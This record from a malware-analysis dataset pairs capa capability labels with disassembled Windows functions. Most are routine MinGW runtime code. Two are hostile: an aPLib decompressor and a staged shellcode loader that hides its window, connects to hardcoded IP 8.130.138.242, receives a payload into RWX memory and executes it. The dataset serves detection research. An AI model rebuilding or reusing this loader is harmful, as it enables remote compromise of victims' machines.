joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400019e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x14000d104]
mov r12, rcx
test ebx, ebx
jle 0x140001b10
mov rax, qword [0x14000d108]
xor r9d, r9d
add rax, 0x18
nop dword [rax + rax]
mov r8, qword [rax]
cmp r8, r12
ja 0x140001a2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp r12, r8
jb 0x140001ab5
add r9d, 1
add rax, 0x28
cmp r9d, ebx
jne 0x140001a10
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001b32
mov rax, qword [0x14000d108]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rsi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001b17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001aae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001ac0
add dword [0x14000d104], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x14000d108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001aae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001a38
mov rax, qword [0x14000d108]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400020b0
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r13, [0x14000d160]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d140]
test rbx, rbx
je 0x14000210c
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140002103
test r12, r12
je 0x140002103
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400020e8
mov rcx, r13
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop r12
pop r13
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002358
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002360
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002370
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x1400023b5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x1400023ac
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x1400023b7
add rax, 0x28
cmp rax, r9
jne 0x140002398
xor eax, eax
ret

Function at 0x1400023c0
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x140002450
mov rdx, qword [0x140009780]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x14000243e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000243e
cmp word [rax + 0x18], 0x20b
jne 0x14000243e
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x140002450
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x140002429
add r12, 0x28
cmp r12, rsi
je 0x140002450
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x140002420
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140002460
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002480
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002488
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002480
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x1400024d5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400024cc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002480
add rax, 0x28
cmp rax, r9
jne 0x1400024b8
xor eax, eax
ret

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009780]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002500
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002508
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002500
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140009780]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002540
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002548
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002540
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002588
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000257f
test rcx, rcx
je 0x140002540
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002570
xor eax, eax
ret
Function at 0x140002590
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009780]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400025b0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x1400025b8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x1400025d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009780]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400025f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400025f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400025f0
sub rcx, rdx
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x1400025f0
lea eax, [r8 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop dword [rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x14000263c
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002650
add rdx, 0x28
cmp rdx, r9
jne 0x140002628
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140009780]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002682
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002690
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002682
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002682
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002682
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400026dd
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400026f0
add rdx, 0x28
cmp r10, rdx
jne 0x1400026c8
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400026ff
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x14000270f
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400026e6
test ecx, ecx
jg 0x1400026f8
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1423cf058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1423cf1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1423cf089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423cf06f
add dl, dl
jne 0x1423cf096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423cf0f6
xor eax, eax
add dl, dl
jne 0x1423cf0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423cf1ad
add dl, dl
jne 0x1423cf0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423cf0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423cf0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423cf0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1423cf0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1423cf07e
mov eax, 1
add dl, dl
jne 0x1423cf106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423cf113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423cf0fb
sub eax, ebx
mov ebx, 1
jne 0x1423cf14c
mov ecx, 1
add dl, dl
jne 0x1423cf12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1423cf13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423cf123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423cf07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1423cf168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1423cf175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423cf15d
cmp eax, 0x7d00
jae 0x1423cf19b
cmp eax, 0x500
jb 0x1423cf196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423cf07e
cmp eax, 0x7f
ja 0x1423cf19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423cf07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1423cf1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1423cf07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x004054a0]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x004054b0]
mov dword [rax], 1
mov rax, qword [0x004054c0]
mov dword [rax], 1
mov rax, qword [0x00405490]
mov dword [rax], 1
mov rax, qword [0x00405380]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00405480]
mov dword [0x00408008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00405440]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00405330]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401690
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x202
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x4016d6
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sym.exit
nop
add rsp, 0x1c0
pop rbp
ret

Function at 0x4017f2
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 0x14], 0
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
jmp 0x401864
mov eax, dword [rbp + 0x20]
sub eax, dword [rbp - 4]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov r9d, 0
mov r8d, edx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
cdqe
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
add dword [rbp - 4], eax
cmp dword [rbp - 0x14], 0xffffffff
jne 0x401864
mov rcx, qword [rbp + 0x10]
call sym.VnyXIa
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x20]
jl 0x40181e
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret
Function at 0x401974
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x4019ac
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.VnyXIa
lea rcx, str.8.130.138.242
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x4019d3
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.VnyXIa
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + 0x12]
movsx rcx, ax
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
mov rdx, qword [rax]
lea rax, [rbp - 0x20]
add rax, 4
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov word [rbp - 0x20], 2
mov ecx, 0x8cf
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x1e], ax
lea rax, [rbp - 0x20]
mov rcx, qword [rbp - 8]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x401a3f
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.VnyXIa
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret
Function at 0x401a49
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Receive data
Receive data on socket

Disassembly:
push rbp
mov eax, 0x21a80
call fcn.004031d0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x21a10], ecx
mov qword [rbp + 0x21a18], rdx
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov dword [rbp + 0x219fc], 0
jmp 0x401abb
mov ecx, 0x2649
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov qword [rbp + rax*8 + 0x19570], rdx
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0x108d
jle 0x401a97
call sym.JGHqxWuqKvmd
call sym.tBRdfTxGjP
mov qword [rbp + 0x6468], rax
mov dword [rbp + 0x219fc], 0
jmp 0x401b08
mov ecx, 0x2599
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov qword [rbp + rax*8 + 0x6470], rdx
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0x261e
jle 0x401ae4
mov rcx, qword [rbp + 0x6468]
lea rax, [rbp + 0x219e4]
mov r9d, 0
mov r8d, 4
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp + 0x219f8], eax
cmp dword [rbp + 0x219f8], 4
jne 0x401b53
mov eax, dword [rbp + 0x219e4]
test eax, eax
jne 0x401b62
mov rax, qword [rbp + 0x6468]
mov rcx, rax
call sym.VnyXIa
mov eax, dword [rbp + 0x219e4]
add eax, 5
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x219f0], rax
mov dword [rbp + 0x219fc], 0
jmp 0x401bc4
call sym.tPcDMp
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov rax, qword [rbp + rax*8 + 0x19570]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0x108d
jle 0x401b9d
cmp qword [rbp + 0x219f0], 0
jne 0x401be9
mov rax, qword [rbp + 0x6468]
mov rcx, rax
call sym.VnyXIa
mov rax, qword [rbp + 0x219f0]
mov byte [rax], 0xbf
mov rax, qword [rbp + 0x219f0]
add rax, 1
mov edx, dword [rbp + 0x6468]
mov dword [rax], edx
mov dword [rbp + 0x219fc], 0
jmp 0x401c33
mov ecx, 0x24d8
call sym.malloc
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov qword [rbp + rax*8 - 0x60], rdx
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0xc97
jle 0x401c12
mov dword [rbp + 0x219fc], 0
jmp 0x401c72
call sym.AIpbskJP
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov rax, qword [rbp + rax*8 + 0x6470]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0x261e
jle 0x401c4b
mov eax, dword [rbp + 0x219e4]
mov ecx, eax
mov rax, qword [rbp + 0x219f0]
lea rdx, [rax + 5]
mov rax, qword [rbp + 0x6468]
mov r8d, ecx
mov rcx, rax
call sym.EtMdXXZWMbJKvP
mov dword [rbp + 0x219f8], eax
mov rax, qword [rbp + 0x219f0]
mov qword [rbp + 0x219e8], rax
mov rax, qword [rbp + 0x219e8]
call rax
mov dword [rbp + 0x219fc], 0
jmp 0x401cf0
call sym.uUjygf
mov rdx, rax
mov eax, dword [rbp + 0x219fc]
cdqe
mov rax, qword [rbp + rax*8 - 0x60]
mov rcx, rax
call sym.strcpy
add dword [rbp + 0x219fc], 1
cmp dword [rbp + 0x219fc], 0xc97
jle 0x401ccc
mov eax, 0
add rsp, 0x21a80
pop rbp
ret
Function at 0x402270
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4023f8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4022bc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402345
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4022a0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x40242d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402410
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40233e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4023a0
add dword [0x00408624], 1
cmp edi, 8
jae 0x402373
test dil, 4
jne 0x4023e4
test edi, edi
je 0x402368
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4023ff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x402368
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x40238c
jmp 0x402368
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40233e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402368
xor esi, esi
jmp 0x4022c7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402368
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402b80
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x402bd4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x402bcb
test rsi, rsi
je 0x402bcb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402bb0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402e10
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x402e20
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x402e30
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x402e71
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x402e68
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x402e73
add rax, 0x28
cmp rax, r9
jne 0x402e54
xor eax, eax
ret

Function at 0x402f10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405380]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402f7d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x402f7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402f7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402f74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402f7f
add rax, 0x28
cmp rax, r9
jne 0x402f60
xor eax, eax
add rsp, 0x28
ret

Function at 0x403080
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x00405380]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x4030a0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403098
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4030fd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4030f4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403104
add rax, 0x28
cmp rax, r9
jne 0x4030e0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403120
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x00405380]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x40318e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x40318e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x40318e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40318e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x403185
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x403195
add rcx, 0x28
cmp rcx, rax
jne 0x403170
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x4031a8
jmp 0x40318e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x4031b6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x40318e
test r9d, r9d
jg 0x4031a0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x403440
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
